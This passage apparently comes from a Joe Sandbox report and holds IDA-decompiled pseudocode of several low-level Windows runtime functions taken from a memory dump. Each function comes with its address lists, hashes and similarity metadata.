					_t104 =  *0xe98210; // 0x872bf8
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E00DBEB70(_t93, 0xe979a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E00DE9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									L00DBEEF0(0xe979a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E00DBEB70(0, 0xe979a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0x872c05
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E00DDF0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									L00DBEEF0(0xe979a0);
									__eflags =  *0xe98210 - _t104; // 0x872bf8
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0xe98210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E00E24888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E00DBEB70(_t95, 0xe979a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E00DE95D0();
											L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E00DE95D0();
											L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E00DBEB70(_t93, 0xe979a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E00DE95D0();
										L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E00DE95D0();
										L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E00DDF0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x00da52a5
0x00da52ad
0x00da52b0
0x00da52b3
0x00da52b7
0x00da52ba
0x00da52bf
0x00da52c4
0x00da52cc
0x00000000
0x00000000
0x00da52ce
0x00da52d9
0x00da52dd
0x00da52e7
0x00da52f7
0x00da52f9
0x00da52fd
0x00e00dcf
0x00e00dd5
0x00e00dd6
0x00e00dd7
0x00e00dd8
0x00e00dd9
0x00e00dde
0x00e00ddf
0x00e00de0
0x00e00de1
0x00e00de2
0x00e00de5
0x00e00dea
0x00e00dec
0x00e00f60
0x00e00f64
0x00e00f70
0x00e00f76
0x00e00f79
0x00e00f79
0x00000000
0x00e00f64
0x00e00df2
0x00e00df7
0x00e00e04
0x00e00e0d
0x00e00e0d
0x00e00e10
0x00e00e1a
0x00e00e1c
0x00e00e4c
0x00e00e52
0x00e00e61
0x00e00e67
0x00e00e6b
0x00e00e70
0x00e00e76
0x00e00ed7
0x00e00edc
0x00e00ee0
0x00e00ee6
0x00e00eea
0x00e00eed
0x00e00ef0
0x00e00ef3
0x00e00ef6
0x00e00ef9
0x00e00efe
0x00e00f01
0x00e00f01
0x00e00f0b
0x00e00f12
0x00e00f16
0x00e00f18
0x00e00f1b
0x00e00f2c
0x00e00f31
0x00e00f31
0x00e00f35
0x00e00f39
0x00e00f3a
0x00e00f3c
0x00e00f3f
0x00e00f50
0x00e00f55
0x00e00f55
0x00e00f59
0x00da52eb
0x00da52f1
0x00da52f1
0x00e00e7d
0x00e00e84
0x00e00e88
0x00e00e8a
0x00e00e8d
0x00e00e9e
0x00e00ea3
0x00e00ea3
0x00e00ea7
0x00e00eaf
0x00e00eb3
0x00e00eb9
0x00e00eb9
0x00e00ebc
0x00e00ecd
0x00e00ecd
0x00000000
0x00e00eb3
0x00e00e21
0x00e00e2b
0x00e00e2f
0x00e00e30
0x00e00e3a
0x00e00e3f
0x00e00e41
0x00000000
0x00000000
0x00e00e47
0x00000000
0x00e00e47
0x00e00df9
0x00e00dfe
0x00000000
0x00000000
0x00000000
0x00e00dfe
0x00da5303
0x00da5307
0x00000000
0x00da5309
0x00000000
0x00da5309
0x00da5307
0x00da52e9
0x00da52e9
0x00000000
0x00da52e9
0x00da530e
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 635c5ccda83f451ebd8c045c7ab705f011eed2603db85f394969cdffd003acba
Instruction ID: 1a28b84554b9c3392e826e02a65424f6baeedbbb7187ac4300567f7a09acec1e
Opcode Fuzzy Hash: 635c5ccda83f451ebd8c045c7ab705f011eed2603db85f394969cdffd003acba
Instruction Fuzzy Hash: 6051BD70209742ABD721EF64C842B67BBA4FF94710F14091AF49A97692E770E844CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00DD2AE4 Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DD2AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0xe98204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0xe98208; // 0xe98207
				_t8 = _t57 + 0xe98208; // 0xe98207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0xe98450; // 0x87173c
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0xe9821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0xe96d5c; // 0x7f710654
							_t72 =  *0xe96d5c; // 0x7f710654
							_t75 =  *0xe96d5c; // 0x7f710654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0xe96d5c; // 0x7f710654
							_t84 =  *0xe96d5c; // 0x7f710654
							_t87 =  *0xe96d5c; // 0x7f710654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E00DEF3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x00dd2ae4
0x00dd2aec
0x00dd2aef
0x00dd2af4
0x00dd2af7
0x00dd2afd
0x00dd2b92
0x00dd2b92
0x00dd2b97
0x00dd2b9c
0x00dd2b9c
0x00dd2b03
0x00dd2b06
0x00dd2b09
0x00dd2b09
0x00dd2b0f
0x00dd2b15
0x00dd2b15
0x00dd2b1b
0x00dd2b1e
0x00dd2b21
0x00dd2b26
0x00dd2b29
0x00dd2b81
0x00dd2b84
0x00dd2c0e
0x00dd2c15
0x00dd2c24
0x00dd2c24
0x00dd2b8a
0x00dd2b8a
0x00dd2b8a
0x00dd2b8a
0x00dd2b90
0x00000000
0x00000000
0x00000000
0x00000000
0x00dd2b4a
0x00dd2b4a
0x00dd2b4d
0x00dd2b53
0x00000000
0x00000000
0x00dd2b55
0x00dd2b58
0x00dd2bb7
0x00e15d1b
0x00e15d37
0x00e15d47
0x00e15d53
0x00dd2bbd
0x00dd2bbd
0x00dd2bbd
0x00dd2bb7
0x00dd2b5d
0x00dd2c2f
0x00e15d5b
0x00e15d77
0x00e15d87
0x00e15d93
0x00dd2c35
0x00dd2c35
0x00dd2c35
0x00dd2c2f
0x00dd2b65
0x00dd2b9f
0x00dd2ba2
0x00dd2b67
0x00dd2b67
0x00dd2b69
0x00dd2b6b
0x00dd2b6e
0x00dd2bc9
0x00dd2bcc
0x00dd2bcf
0x00dd2bd4
0x00dd2bd6
0x00dd2bd6
0x00dd2bdb
0x00dd2c02
0x00dd2c05
0x00dd2c07
0x00000000
0x00dd2c07
0x00dd2be0
0x00dd2c00
0x00dd2c3f
0x00dd2c3f
0x00000000
0x00dd2c00
0x00dd2be5
0x00dd2be7
0x00dd2bec
0x00dd2bf4
0x00dd2bf6
0x00000000
0x00dd2bf6
0x00dd2b70
0x00dd2b76
0x00dd2b2b
0x00dd2b2b
0x00dd2b2d
0x00dd2b2f
0x00dd2b32
0x00dd2b35
0x00dd2b3a
0x00000000
0x00dd2b40
0x00dd2b43
0x00dd2b45
0x00dd2b47
0x00dd2b4a
0x00dd2b4d
0x00dd2b53
0x00000000
0x00000000
0x00000000
0x00dd2b53
0x00dd2b78
0x00dd2b78
0x00dd2b7b
0x00dd2b7e
0x00000000
0x00dd2b7e
0x00dd2b76
0x00dd2ba5
0x00dd2ba5
0x00dd2ba8
0x00dd2bad
0x00000000
0x00000000
0x00dd2baf
0x00dd2baf
0x00dd2bc2
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79953b56ec3dd259349a0d6c82a0297fb66512724786228456c5e30b5d3bbaa6
Instruction ID: 215d12d79c44f8a5a420b036a7d6d587ebf70a5cd1a3443bc1581171d3f07d24
Opcode Fuzzy Hash: 79953b56ec3dd259349a0d6c82a0297fb66512724786228456c5e30b5d3bbaa6
Instruction Fuzzy Hash: 3E51A176B001158FCB14DF1DC8809BDB7F1FBA8700716845BE896AB368D770AE55DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DCDBE9 Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00DCDBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E00DACC50(L00DA4510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(L00DC7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = L00E78ED6(_t102, _t98);
						}
						_t76 = _v44;
						E00DC2280(_t58, _v44);
						L00DCDD82(_v44, _t102, _t98);
						E00DCB944(_t102, _v5);
						return L00DBFFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0xe98628; // 0x0
							_v28 = _t67;
							_t68 =  *0xe9862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0xe98628; // 0x0
						_t105 = _v28;
						_t80 =  *0xe9862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0xe6fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x00dcdbe9
0x00dcdbf2
0x00dcdbf7
0x00dcdbf9
0x00dcdbfc
0x00dcdc00
0x00dcdc03
0x00dcdc14
0x00dcdd54
0x00dcdd54
0x00dcdd54
0x00dcdc18
0x00dcdc1d
0x00dcdc1d
0x00dcdc32
0x00dcdc3b
0x00dcdc3e
0x00dcdc46
0x00dcdd5b
0x00dcdd62
0x00dcdd64
0x00dcdd67
0x00dcdd69
0x00dcdd6b
0x00dcdd6e
0x00dcdd70
0x00dcdd73
0x00dcdd73
0x00000000
0x00dcdc4c
0x00dcdc4e
0x00e13ae3
0x00e13ae8
0x00e13aea
0x00dcdce7
0x00dcdce9
0x00dcdcec
0x00dcdcee
0x00dcdcf0
0x00dcdcf3
0x00dcdcf5
0x00e13af2
0x00e13af5
0x00e13af5
0x00dcdd06
0x00dcdd08
0x00dcdd0b
0x00dcdd12
0x00e13b08
0x00dcdd18
0x00dcdd18
0x00dcdd18
0x00dcdd20
0x00dcdd23
0x00e13b16
0x00e13b16
0x00dcdd29
0x00dcdd2d
0x00dcdd36
0x00dcdd40
0x00dcdd51
0x00dcdd51
0x00dcdc54
0x00dcdc59
0x00dcdc59
0x00dcdc5e
0x00dcdc5e
0x00dcdc63
0x00dcdc66
0x00dcdc6b
0x00dcdc78
0x00dcdc7b
0x00dcdc81
0x00dcdc81
0x00dcdc83
0x00dcdc89
0x00000000
0x00000000
0x00dcdd7b
0x00dcdd7b
0x00dcdc8f
0x00dcdc8f
0x00dcdc92
0x00dcdc99
0x00dcdc9f
0x00dcdca5
0x00dcdcaa
0x00dcdcaa
0x00dcdcb3
0x00dcdcb8
0x00dcdcbb
0x00dcdcc1
0x00dcdccf
0x00dcdcd2
0x00dcdcd5
0x00dcdcd7
0x00dcdcda
0x00dcdcdc
0x00dcdcdc
0x00dcdce2
0x00dcdce4
0x00000000
0x00dcdce4

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac0cba570617779f4488e27a46c05baffb01b7c8e7e16db247daf6fbadefd609
Instruction ID: f88af9b04dd850929392edb70a6de3df955ef8121f45452c67a4f8fd03ceeed4
Opcode Fuzzy Hash: ac0cba570617779f4488e27a46c05baffb01b7c8e7e16db247daf6fbadefd609
Instruction Fuzzy Hash: 86516C71A00606DFCB14CF68C980BAEBBF6FB49310F24816ED595A7341EB70AD44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E7740D Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00E7740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E00DFD4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E00DEF380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L00DC4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L00DC4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E00DEF3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L00DC4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x00e7740d
0x00e7740d
0x00e77412
0x00e77413
0x00e77416
0x00e77418
0x00e7741c
0x00e7741f
0x00e77422
0x00e77422
0x00e77428
0x00e7742a
0x00e7742a
0x00e77451
0x00e77432
0x00e7744f
0x00e7744f
0x00000000
0x00e77434
0x00e77438
0x00e77443
0x00e77517
0x00e77517
0x00e7751a
0x00e77535
0x00e77520
0x00e77527
0x00e7752c
0x00e77531
0x00e77533
0x00000000
0x00e77533
0x00000000
0x00e77531
0x00e7754b
0x00e7754f
0x00e7755c
0x00e7755c
0x00e7755f
0x00e77560
0x00e77561
0x00e77562
0x00e77563
0x00e77568
0x00e7756a
0x00e7756c
0x00e7756d
0x00e7756d
0x00e7756f
0x00e77572
0x00e77574
0x00e77577
0x00e7757c
0x00e7757f
0x00000000
0x00e77551
0x00e77551
0x00e77551
0x00e77553
0x00e77553
0x00e77449
0x00e77449
0x00e7744c
0x00e7744c
0x00000000
0x00e7744c
0x00e77443
0x00e7750e
0x00e77514
0x00e77514
0x00e77455
0x00e77469
0x00e7746d
0x00000000
0x00e77473
0x00e77473
0x00e77476
0x00e77480
0x00e77484
0x00e7748e
0x00e77493
0x00e77493
0x00e77496
0x00e77499
0x00e774a1
0x00e774b1
0x00e774b5
0x00000000
0x00e774bb
0x00e774c1
0x00e774c1
0x00e774c4
0x00e774c5
0x00e774c6
0x00e774c7
0x00e774c8
0x00e774cd
0x00000000
0x00e774d3
0x00e774d3
0x00e774d6
0x00e774d8
0x00e774db
0x00e774dd
0x00e774e0
0x00e774e7
0x00e774ee
0x00e774ee
0x00e774f4
0x00e774f9
0x00000000
0x00e774fb
0x00e774fb
0x00e774fd
0x00e77500
0x00e77503
0x00e77505
0x00e77505
0x00e774f9
0x00000000
0x00e774cd
0x00e774b5
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 4348617fea57665b19781ef95dfc2522649779ce166309a22896b8c1b28fe136
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: C3518B71604606EFCB26CF14C481A96BBB5FF45308F15C1AAE948EF216E371E946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DD2990 Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00DD2990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0xe7ff00);
				E00DFD08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
